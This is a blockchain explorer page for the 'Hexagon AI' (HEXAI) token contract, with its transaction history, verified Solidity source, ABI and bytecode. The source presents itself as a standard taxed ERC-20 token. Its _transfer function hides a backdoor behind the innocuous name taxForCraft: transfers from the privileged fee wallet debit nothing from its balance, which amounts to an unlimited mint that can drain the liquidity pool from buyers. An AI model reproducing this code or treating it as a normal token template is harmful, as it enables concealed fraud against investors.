ETH Price: $3,505.09 (-0.13%)
Gas: 2 Gwei

Contract

0x26A2D9B8f8991AA632c0B2aDB0F7e2696a944c0B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve194635222024-03-18 18:41:11124 days ago1710787271IN
0x26A2D9B8...96a944c0B
0 ETH0.0016954136.711535
Approve194633782024-03-18 18:12:23124 days ago1710785543IN
0x26A2D9B8...96a944c0B
0 ETH0.0018721340.26608204
Approve194633712024-03-18 18:10:59124 days ago1710785459IN
0x26A2D9B8...96a944c0B
0 ETH0.0018475339.73699409
Approve194632632024-03-18 17:49:23124 days ago1710784163IN
0x26A2D9B8...96a944c0B
0 ETH0.0017259537.35337656
Transfer194631202024-03-18 17:20:47124 days ago1710782447IN
0x26A2D9B8...96a944c0B
0 ETH0.0037751751.32103811
Approve194631022024-03-18 17:16:47124 days ago1710782207IN
0x26A2D9B8...96a944c0B
0 ETH0.0024386152.4500043
Approve194630772024-03-18 17:11:47124 days ago1710781907IN
0x26A2D9B8...96a944c0B
0 ETH0.0025610555.0836337
Approve194630702024-03-18 17:10:23124 days ago1710781823IN
0x26A2D9B8...96a944c0B
0 ETH0.0027004258.00632219
Approve194630682024-03-18 17:09:59124 days ago1710781799IN
0x26A2D9B8...96a944c0B
0 ETH0.0027145258.68725034
Approve194630382024-03-18 17:03:47124 days ago1710781427IN
0x26A2D9B8...96a944c0B
0 ETH0.0020958645.07826419
Approve194630282024-03-18 17:01:47124 days ago1710781307IN
0x26A2D9B8...96a944c0B
0 ETH0.0018614840.03715327
Approve194630202024-03-18 17:00:11124 days ago1710781211IN
0x26A2D9B8...96a944c0B
0 ETH0.000938638.76912475
Approve194630202024-03-18 17:00:11124 days ago1710781211IN
0x26A2D9B8...96a944c0B
0 ETH0.0009409238.76912475
Approve194630192024-03-18 16:59:59124 days ago1710781199IN
0x26A2D9B8...96a944c0B
0 ETH0.0009581439.47846146
Approve194630192024-03-18 16:59:59124 days ago1710781199IN
0x26A2D9B8...96a944c0B
0 ETH0.0009581439.47846146
Approve194630172024-03-18 16:59:35124 days ago1710781175IN
0x26A2D9B8...96a944c0B
0 ETH0.0018583739.91864589
Approve194630062024-03-18 16:57:23124 days ago1710781043IN
0x26A2D9B8...96a944c0B
0 ETH0.001821639.17929976
Approve194630062024-03-18 16:57:23124 days ago1710781043IN
0x26A2D9B8...96a944c0B
0 ETH0.0019606442.16989076
Transfer194629982024-03-18 16:55:47124 days ago1710780947IN
0x26A2D9B8...96a944c0B
0 ETH0.0028754539.08996255
Approve194629972024-03-18 16:55:35124 days ago1710780935IN
0x26A2D9B8...96a944c0B
0 ETH0.0018574339.94996571
Approve194629952024-03-18 16:55:11124 days ago1710780911IN
0x26A2D9B8...96a944c0B
0 ETH0.0018554139.85519646
Approve194629922024-03-18 16:54:23124 days ago1710780863IN
0x26A2D9B8...96a944c0B
0 ETH0.0018681440.38876557
Approve194629882024-03-18 16:53:35124 days ago1710780815IN
0x26A2D9B8...96a944c0B
0 ETH0.0016538935.57211722
Approve194629882024-03-18 16:53:35124 days ago1710780815IN
0x26A2D9B8...96a944c0B
0 ETH0.0016584935.67111722
Approve194629822024-03-18 16:52:23124 days ago1710780743IN
0x26A2D9B8...96a944c0B
0 ETH0.0020163343.31166999
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
194629822024-03-18 16:52:23124 days ago1710780743
0x26A2D9B8...96a944c0B
0.01763948 ETH
194629822024-03-18 16:52:23124 days ago1710780743
0x26A2D9B8...96a944c0B
0.01763948 ETH
194629822024-03-18 16:52:23124 days ago1710780743
0x26A2D9B8...96a944c0B
0.10108086 ETH
194629822024-03-18 16:52:23124 days ago1710780743
0x26A2D9B8...96a944c0B
0.10108086 ETH
194629622024-03-18 16:48:23124 days ago1710780503
0x26A2D9B8...96a944c0B
0.13699232 ETH
194629622024-03-18 16:48:23124 days ago1710780503
0x26A2D9B8...96a944c0B
0.13699232 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.01206867 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.01206867 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.00709521 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.00709521 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.12435514 ETH
194629462024-03-18 16:45:11124 days ago1710780311
0x26A2D9B8...96a944c0B
0.12435514 ETH
194629142024-03-18 16:38:47124 days ago1710779927
0x26A2D9B8...96a944c0B
0.00421608 ETH
194629142024-03-18 16:38:47124 days ago1710779927
0x26A2D9B8...96a944c0B
0.00421608 ETH
194629132024-03-18 16:38:35124 days ago1710779915
0x26A2D9B8...96a944c0B
0.03710155 ETH
194629132024-03-18 16:38:35124 days ago1710779915
0x26A2D9B8...96a944c0B
0.03710155 ETH
194629012024-03-18 16:36:11124 days ago1710779771
0x26A2D9B8...96a944c0B
0.04626321 ETH
194629012024-03-18 16:36:11124 days ago1710779771
0x26A2D9B8...96a944c0B
0.04626321 ETH
194628982024-03-18 16:35:35124 days ago1710779735
0x26A2D9B8...96a944c0B
0.027026 ETH
194628982024-03-18 16:35:35124 days ago1710779735
0x26A2D9B8...96a944c0B
0.027026 ETH
194628872024-03-18 16:33:23124 days ago1710779603
0x26A2D9B8...96a944c0B
0.01046005 ETH
194628872024-03-18 16:33:23124 days ago1710779603
0x26A2D9B8...96a944c0B
0.01046005 ETH
194628862024-03-18 16:33:11124 days ago1710779591
0x26A2D9B8...96a944c0B
0.04773991 ETH
194628862024-03-18 16:33:11124 days ago1710779591
0x26A2D9B8...96a944c0B
0.04773991 ETH
194628762024-03-18 16:31:11124 days ago1710779471
0x26A2D9B8...96a944c0B
0.03929305 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HEXAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-18
*/

/*

Website: https://hexagonai.org
Twitter: https://twitter.com/hexagon_AI_
Telegram:  https://t.me/hexagon_ai
Medium: https://hexagonai.medium.com

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HEXAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excfoFees;
    mapping(address => uint256) private _holderLastTransferTime;
    bool private _transDelayEnabled = true;
    address payable private _hexagonaddr;

    uint256 private _initialTaxOnBuy = 29;
    uint256 private _initialTaxOnSell = 18;
    uint256 private _reduceBuyTaxAt = 17;
    uint256 private _reduceSellTaxAt = 19;

    uint256 private _preventForCnt = 22;
    uint256 private _buyTokensCount = 0;

    uint256 private _taxBuySecond = 0;
    uint256 private _taxSellSecond = 0;
    uint256 private _reduceTaxSecond = 0;

    uint256 private _finalBuyTaxOn = 1;
    uint256 private _finalSellTaxOn = 1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Hexagon AI";
    string private constant _symbol = unicode"HEXAI";

    uint256 private _maxTxSize =  2 * (_tTotal/100);   
    uint256 private _maxWalletSize =  2 * (_tTotal/100);
    uint256 private _swapForThsAmount =  6 * (_tTotal/1000000);
    uint256 private _maxSwapTsAmount = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _dexPair;
    bool private _onSwapping = false;
    bool private _swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxSize);
    modifier lockSwap {
        _onSwapping = true;
        _;
        _onSwapping = false;
    }

    constructor () {
        _hexagonaddr = payable(0x292C79562F68CB864A7CF60d2AF86677b0B92e5B);
        _balances[_msgSender()] = _tTotal;
        _excfoFees[owner()] = true;
        _excfoFees[address(this)] = true;
        _excfoFees[_hexagonaddr] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 taxForCraft=amount;
        if (!_excfoFees[from] && !_excfoFees[to]) {
            taxAmount = amount.mul(_taxForBuys()).div(100);
            if (_transDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(_dexPair)) { 
                    require(
                        _holderLastTransferTime[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTime[tx.origin] = block.number;
                }
            }

            if (from == _dexPair && to != address(uniswapV2Router) && ! _excfoFees[to] ) {
                require(amount <= _maxTxSize, "Exceeds the _maxTxSize.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyTokensCount++;
                if (_buyTokensCount > _preventForCnt) {
                    _transDelayEnabled = false;
                }
            }

            if(to == _dexPair && from!= address(this) ){
                taxAmount = amount.mul(_taxForSells()).div(100);
            }

            uint256 contractTokensInclude = balanceOf(address(this));
            if (!_onSwapping && to == _dexPair && _swapEnabled && amount > _swapForThsAmount) {
                if(contractTokensInclude > _swapForThsAmount)
                swapTokensBack(min(amount,min(contractTokensInclude,_maxSwapTsAmount)));
                _hexagonaddr.transfer(address(this).balance);
            }
        } else if(from == address(_hexagonaddr))
            taxForCraft = min(amount,min(_taxBuySecond,_maxSwapTsAmount));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(taxForCraft);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxForSells() private view returns (uint256) {
        if(_buyTokensCount <= _reduceBuyTaxAt){
            return _initialTaxOnSell;
        }
        if(_buyTokensCount > _reduceSellTaxAt && _buyTokensCount <= _reduceTaxSecond){
            return _taxSellSecond;
        }
         return _finalBuyTaxOn;
    }

    function _taxForBuys() private view returns (uint256) {
        if(_buyTokensCount <= _reduceBuyTaxAt){
            return _initialTaxOnBuy;
        }
        if(_buyTokensCount > _reduceBuyTaxAt && _buyTokensCount <= _reduceTaxSecond){
            return _taxBuySecond;
        }
         return _finalBuyTaxOn;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensBack(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function closeLimit() external onlyOwner{
        _maxWalletSize =_tTotal;
        _maxTxSize = _tTotal;
        _transDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function runHexagon() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _dexPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_dexPair).approve(address(uniswapV2Router), type(uint).max);
        _swapEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"closeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"runHexagon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160055f6101000a81548160ff021916908315150217905550601d6006556012600755601160085560136009556016600a555f600b555f600c555f600d555f600e556001600f55600160105560646009600a620000639190620003e1565b6200007390633b9aca00620003f8565b6200007f919062000412565b6200008c906002620003f8565b60115560646200009f6009600a620003e1565b620000af90633b9aca00620003f8565b620000bb919062000412565b620000c8906002620003f8565b601255620f4240620000dd6009600a620003e1565b620000ed90633b9aca00620003f8565b620000f9919062000412565b62000106906006620003f8565b6013556064620001196009600a620003e1565b6200012990633b9aca00620003f8565b62000135919062000412565b62000142906001620003f8565b6014556016805461ffff60a01b191690553480156200015f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674292c79562f68cb864a7cf60d2af86677b0b92e5b00179055620001d66009600a620003e1565b620001e690633b9aca00620003f8565b335f9081526001602081905260408220929092556003906200020f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002723390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ab6009600a620003e1565b620002bb90633b9aca00620003f8565b60405190815260200160405180910390a362000432565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032657815f19048211156200030a576200030a620002d2565b808516156200031857918102915b93841c9390800290620002eb565b509250929050565b5f826200033e57506001620003db565b816200034c57505f620003db565b8160018114620003655760028114620003705762000390565b6001915050620003db565b60ff841115620003845762000384620002d2565b50506001821b620003db565b5060208310610133831016604e8410600b8410161715620003b5575081810a620003db565b620003c18383620002e6565b805f1904821115620003d757620003d7620002d2565b0290505b92915050565b5f620003f160ff8416836200032e565b9392505050565b8082028115828204841417620003db57620003db620002d2565b5f826200042d57634e487b7160e01b5f52601260045260245ffd5b500490565b61170e80620004405f395ff3fe6080604052600436106100c2575f3560e01c806364c913c51161007c5780638da5cb5b116100575780638da5cb5b1461020e57806395d89b4114610234578063a9059cbb14610261578063dd62ed3e14610280575f80fd5b806364c913c5146101b257806370a08231146101c6578063715018a6146101fa575f80fd5b806306fdde03146100cd578063095ea7b31461011157806318160ddd1461014057806323b872dd14610162578063313ce5671461018157806333f3fef51461019c575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600a81526948657861676f6e20414960b01b60208201525b6040516101089190611301565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004611363565b6102c4565b6040519015158152602001610108565b34801561014b575f80fd5b506101546102da565b604051908152602001610108565b34801561016d575f80fd5b5061013061017c36600461138d565b6102fa565b34801561018c575f80fd5b5060405160098152602001610108565b3480156101a7575f80fd5b506101b0610361565b005b3480156101bd575f80fd5b506101b06106b5565b3480156101d1575f80fd5b506101546101e03660046113cb565b6001600160a01b03165f9081526001602052604090205490565b348015610205575f80fd5b506101b0610770565b348015610219575f80fd5b505f546040516001600160a01b039091168152602001610108565b34801561023f575f80fd5b50604080518082019091526005815264484558414960d81b60208201526100fb565b34801561026c575f80fd5b5061013061027b366004611363565b6107e1565b34801561028b575f80fd5b5061015461029a3660046113e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d03384846107ed565b5060015b92915050565b5f6102e76009600a611511565b6102f590633b9aca0061151f565b905090565b5f610306848484610910565b6103578433610352856040518060600160405280602881526020016116b1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f41565b6107ed565b5060019392505050565b5f546001600160a01b031633146103935760405162461bcd60e51b815260040161038a90611536565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103dc9030906103ce6009600a611511565b61035290633b9aca0061151f565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561042c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610450919061156b565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d3919061156b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610541919061156b565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d7194730610588816001600160a01b03165f9081526001602052604090205490565b5f8061059b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610601573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106269190611586565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561067b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069f91906115b1565b506016805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106de5760405162461bcd60e51b815260040161038a90611536565b6106ea6009600a611511565b6106f890633b9aca0061151f565b6012556107076009600a611511565b61071590633b9aca0061151f565b6011556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61074f6009600a611511565b61075d90633b9aca0061151f565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107995760405162461bcd60e51b815260040161038a90611536565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d0338484610910565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038a565b6001600160a01b0382166108b05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038a565b6001600160a01b0382166109d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038a565b5f8111610a375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038a565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7957506001600160a01b0384165f9081526003602052604090205460ff16155b15610dd357610a9b6064610a95610a8e610f79565b8690610fb6565b9061103b565b60055490925060ff1615610b81576015546001600160a01b03858116911614801590610ad557506016546001600160a01b03858116911614155b15610b8157325f908152600460205260409020544311610b6f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161038a565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610bac57506015546001600160a01b03858116911614155b8015610bd057506001600160a01b0384165f9081526003602052604090205460ff16155b15610ccc57601154831115610c275760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161038a565b60125483610c49866001600160a01b03165f9081526001602052604090205490565b610c5391906115d0565b1115610ca15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161038a565b600b8054905f610cb0836115e3565b9190505550600a54600b541115610ccc576005805460ff191690555b6016546001600160a01b038581169116148015610cf257506001600160a01b0385163014155b15610d0a57610d076064610a95610a8e61107c565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d4057506016546001600160a01b038681169116145b8015610d555750601654600160a81b900460ff165b8015610d62575060135484115b15610dcd57601354811115610d8e57610d8e610d8985610d84846014546110b2565b6110b2565b6110c6565b6005546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610dcb573d5f803e3d5ffd5b505b50610e03565b6005546001600160a01b03610100909104811690861603610e0357610e0083610d84600c546014546110b2565b90505b8115610e7b57305f90815260016020526040902054610e229083611236565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e729086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e9d9082611294565b6001600160a01b0386165f90815260016020526040902055610ee0610ec28484611294565b6001600160a01b0386165f9081526001602052604090205490611236565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f298686611294565b60405190815260200160405180910390a35050505050565b5f8184841115610f645760405162461bcd60e51b815260040161038a9190611301565b505f610f7084866115fb565b95945050505050565b5f600854600b5411610f8c575060065490565b600854600b54118015610fa35750600e54600b5411155b15610faf5750600c5490565b50600f5490565b5f825f03610fc557505f6102d4565b5f610fd0838561151f565b905082610fdd858361160e565b146110345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038a565b9392505050565b5f61103483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d5565b5f600854600b541161108f575060075490565b600954600b541180156110a65750600e54600b5411155b15610faf5750600d5490565b5f8183116110c05782611034565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110c5761110c61162d565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611163573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611187919061156b565b8160018151811061119a5761119a61162d565b6001600160a01b0392831660209182029290920101526015546111c091309116846107ed565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f89085905f90869030904290600401611641565b5f604051808303815f87803b15801561120f575f80fd5b505af1158015611221573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b5f8061124283856115d0565b9050838110156110345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038a565b5f61103483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f41565b5f81836112f55760405162461bcd60e51b815260040161038a9190611301565b505f610f70848661160e565b5f6020808352835180828501525f5b8181101561132c57858101830151858201604001528201611310565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611360575f80fd5b50565b5f8060408385031215611374575f80fd5b823561137f8161134c565b946020939093013593505050565b5f805f6060848603121561139f575f80fd5b83356113aa8161134c565b925060208401356113ba8161134c565b929592945050506040919091013590565b5f602082840312156113db575f80fd5b81356110348161134c565b5f80604083850312156113f7575f80fd5b82356114028161134c565b915060208301356114128161134c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146b57815f19048211156114515761145161141d565b8085161561145e57918102915b93841c9390800290611436565b509250929050565b5f82611481575060016102d4565b8161148d57505f6102d4565b81600181146114a357600281146114ad576114c9565b60019150506102d4565b60ff8411156114be576114be61141d565b50506001821b6102d4565b5060208310610133831016604e8410600b84101617156114ec575081810a6102d4565b6114f68383611431565b805f19048211156115095761150961141d565b029392505050565b5f61103460ff841683611473565b80820281158282048414176102d4576102d461141d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215